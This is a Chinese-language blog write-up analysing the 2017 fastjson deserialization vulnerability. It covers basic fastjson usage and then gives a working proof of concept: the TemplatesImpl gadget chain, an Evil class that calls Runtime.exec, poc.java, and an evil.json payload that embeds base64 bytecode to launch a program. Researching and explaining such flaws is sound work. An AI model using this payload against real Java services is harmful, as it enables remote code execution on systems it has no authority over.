0x01 Brief Description
java处理JSON数据有三个比较流行的类库,gson(google维护)、jackson、以及今天的主角fastjson,fastjson是阿里巴巴一个开源的json相关的java library,地址在这里,https://github.com/alibaba/fastjson,Fastjson可以将java的对象转换成json的形式,也可以用来将json转换成java对象,效率较高,被广泛的用在web服务以及android上,它的JSONString()方法可以将java的对象转换成json格式,同样通过parseObject方法可以将json数据转换成java的对象。大概在4月18号的时候,fastjson进行了一次安全更新,通告在这里https://github.com/alibaba/fastjson/wiki/security_update_20170315,当时对这也不熟悉,断断续续看了几天也没什么收获(主要是因为太菜了TAT)。最近有人出了poc以及分析的文章就跟进了一下,漏洞还是挺有意思。
0x02 fastjson简单使用介绍
工欲善其事,必先利其器,要想研究这个漏洞,就要先要了解这个fastjson是干什么的。自己研究了一下这个类库。User.java code如下:
package fastjsonVul.fastjsonTest; public class User { public String Username; public String Sex; public String getUsername() { return Username; } public void setUsername(String username) { Username = username; } public String getSex() { return Sex; } public void setSex(String sex) { Sex = sex; } }
testFastJson.java code如下:
package fastjsonVul.fastjsonTest; import java.util.HashMap; import java.util.Map; import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.parser.Feature; import com.alibaba.fastjson.serializer.SerializerFeature; import fastjsonVul.fastjsonTest.User; public class testFastJson { public static void main(String[] args){ Map<String, Object> map = new HashMap<String, Object>(); map.put("key1","One"); map.put("key2", "Two"); String mapJson = JSON.toJSONString(map); System.out.println(mapJson); User user1 = new User(); user1.setUsername("xiaoming"); user1.setSex("male"); System.out.println("obj name:"+user1.getClass().getName()); //序列化 String serializedStr = JSON.toJSONString(user1); System.out.println("serializedStr="+serializedStr); String serializedStr1 = JSON.toJSONString(user1,SerializerFeature.WriteClassName); System.out.println("serializedStr1="+serializedStr1); //通过parse方法进行反序列化 User user2 = (User)JSON.parse(serializedStr1); System.out.println(user2.getUsername()); System.out.println(); //通过parseObject方法进行反序列化 通过这种方法返回的是一个JSONObject Object obj = JSON.parseObject(serializedStr1); System.out.println(obj); System.out.println("obj name:"+obj.getClass().getName()+" "); //通过这种方式返回的是一个相应的类对象 Object obj1 = JSON.parseObject(serializedStr1,Object.class); System.out.println(obj1); System.out.println("obj1 name:"+obj1.getClass().getName()); } }
输出是这样
{"key1":"One","key2":"Two"}
obj name:fastjsonVul.fastjsonTest.User
serializedStr={"Sex":"male","Username":"xiaoming","sex":"male","username":"xiaoming"}
serializedStr1={"@type":"fastjsonVul.fastjsonTest.User","Sex":"male","Username":"xiaoming","sex":"male","username":"xiaoming"}
xiaoming
{"Username":"xiaoming","Sex":"male","sex":"male","username":"xiaoming"}
obj name:com.alibaba.fastjson.JSONObject
fastjsonVul.fastjsonTest.User@18769467
obj1 name:fastjsonVul.fastjsonTest.User
0x03 Fastjson漏洞详细
fastjson漏洞出现的地方也就是JSON.parseObject这个方法上面。
在最开始的时候,只能通过类初始化时候的构造函数或者变量的setter方法执行恶意代码,像是这样
Evil.java
import java.io.IOException;
public class Evil {
public String getName() {
System.out.println("i am getterName!");
return name;
}
public void setName(String name) {
System.out.println("i am setterName!");
this.name = name;
}
public String name;
public int getAge() {
System.out.println("i am getterAge!");
return age;
}
public void setAge(int age) {
System.out.println("i am setterAge!");
this.age = age;
}
private int age;
public Evil() throws IOException{
System.out.println("i am constructor!");
}
}
App.java
import com.alibaba.fastjson.JSON;
import java.io.*;
public class App
{
public static void readToBuffer(StringBuffer buffer, String filePath) throws IOException {
InputStream is = new FileInputStream(filePath);
String line; // 用来保存每行读取的内容
BufferedReader reader = new BufferedReader(new InputStreamReader(is));
line = reader.readLine(); // 读取第一行
while (line != null) { // 如果 line 为空说明读完了
buffer.append(line); // 将读到的内容添加到 buffer 中
buffer.append(" "); // 添加换行符
line = reader.readLine(); // 读取下一行
}
reader.close();
is.close();
}
public static void main( String[] args ) throws IOException
{
StringBuffer Buffer = new StringBuffer();
App.readToBuffer(Buffer,"/Users/m0rk/vul/fastjson/src/demo.json");
Object obj = JSON.parseObject(Buffer.toString());
}
}
demo.json的内容如下
{ "@type" : "Evil1", "name" : "M0rk", "age" : "20"
可以看到通过@type"特性",就执行了构造函数以及私有和公有成员变量的getter和setter方法。但是这貌似还并没有达到我们想要的结果,因为上面的情况是需要我们能够控制Evil这个类(一般是通过文件写入),目前来看不太现实。
还有一种方法就是将编译好的.class或者.jar文件转换成byte[],然后通过defineClass加载byte[]返回class对象。
安全研究人员发现了这个类
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
这个类存在如下的调用链可加载byte[]完成.class文件中对象的实例化,注意MailCiousClass需要继承AbstractTranslet(在defineTransle方法中存在一个校验)
。更多这个调用链参考链接 https://gist.github.com/frohoff/24af7913611f8406eaf3
TemplatesImpl.getOutputProperties() TemplatesImpl.newTransformer() TemplatesImpl.getTransletInstance() TemplatesImpl.defineTransletClasses() ClassLoader.defineClass() Class.newInstance() ... MaliciousClass.<clinit>() ... Runtime.exec()
如上图所示的攻击调用栈信息,可以看到和TemplatesImpl调用链完全吻合,最终还是通过defineclass加载了bytecodes[]导致了命令执行。
Evil.java
import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import java.io.IOException; public class Evil extends AbstractTranslet { public Evil() throws IOException { Runtime.getRuntime().exec("open /Applications/Calculator.app"); } @Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) { } public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws TransletException { } }
poc.java
import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.parser.Feature; import org.apache.commons.io.IOUtils; import org.apache.commons.codec.binary.Base64; import java.io.*; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; public class poc { public static String readClass(String cls) { ByteArrayOutputStream bos = new ByteArrayOutputStream(); try { IOUtils.copy(new FileInputStream(new File(cls)), bos); } catch (IOException e) { e.printStackTrace(); } return Base64.encodeBase64String(bos.toByteArray()); } public static void main(String args[]) throws Exception{ // final String evilClassPath ="/Users/m0rk/vul/fastjson/src/Evil.class"; // String evilCode = readClass(evilClassPath); // System.out.println(evilCode); StringBuffer Buffer = new StringBuffer(); App.readToBuffer(Buffer, "/Users/m0rk/vul/fastjson/src/evil.json"); Object obj = JSON.parseObject(Buffer.toString(),Object.class,Feature.SupportNonPublicField); } }
evil.json
{ "@type" : "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl", "_bytecodes" : ["yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQAJdHJhbnNmb3JtAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgcAGwEAClNvdXJjZUZpbGUBAAlFdmlsLmphdmEMAAcACAcAHAwAHQAeAQAhb3BlbiAvQXBwbGljYXRpb25zL0NhbGN1bGF0b3IuYXBwDAAfACABAARFdmlsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAGAAAAAAADAAEABwAIAAIACQAAAC4AAgABAAAADiq3AAG4AAISA7YABFexAAAAAQAKAAAADgADAAAACQAEAAoADQALAAsAAAAEAAEADAABAA0ADgABAAkAAAAZAAAABAAAAAGxAAAAAQAKAAAABgABAAAADgABAA0ADwACAAkAAAAZAAAAAwAAAAGxAAAAAQAKAAAABgABAAAAEQALAAAABAABABAAAQARAAAAAgAS"], "_name" : "M0rk", "_tfactory" : {}, "outputProperties" : {} }
0x04 Conclusion
关于这个漏洞的构造还是挺精巧,漏洞的利用条件比较苛刻,如要能够利用,开发人员对json的处理函数需要是 JSON.parseObject(input, Object.class, Feature.SupportNonPublicField);
而大部分的开发可能用用JSON.parse(input)就了事儿了,同时使用了parseObject和Feature.SupportNonPublicField
设置的估计不多。所以说实际环境中挖掘fastjson的这个漏洞应该是可遇不可求。
0x05 Reference
1.http://www.cnblogs.com/Jie-Jack/p/3758046.html FastJson的简单使用
2.https://ricterz.me/posts/Fastjson%20Unserialize%20Vulnerability%20Write%20Up
3.https://github.com/alibaba/fastjson/wiki
4.http://xxlegend.com/2017/04/29/title-%20fastjson%20%E8%BF%9C%E7%A8%8B%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96poc%E7%9A%84%E6%9E%84%E9%80%A0%E5%92%8C%E5%88%86%E6%9E%90/
5.http://blog.nsfocus.net/jackson-framework-java-vulnerability-analysis/
6.http://seclab.dbappsecurity.com.cn/?p=1698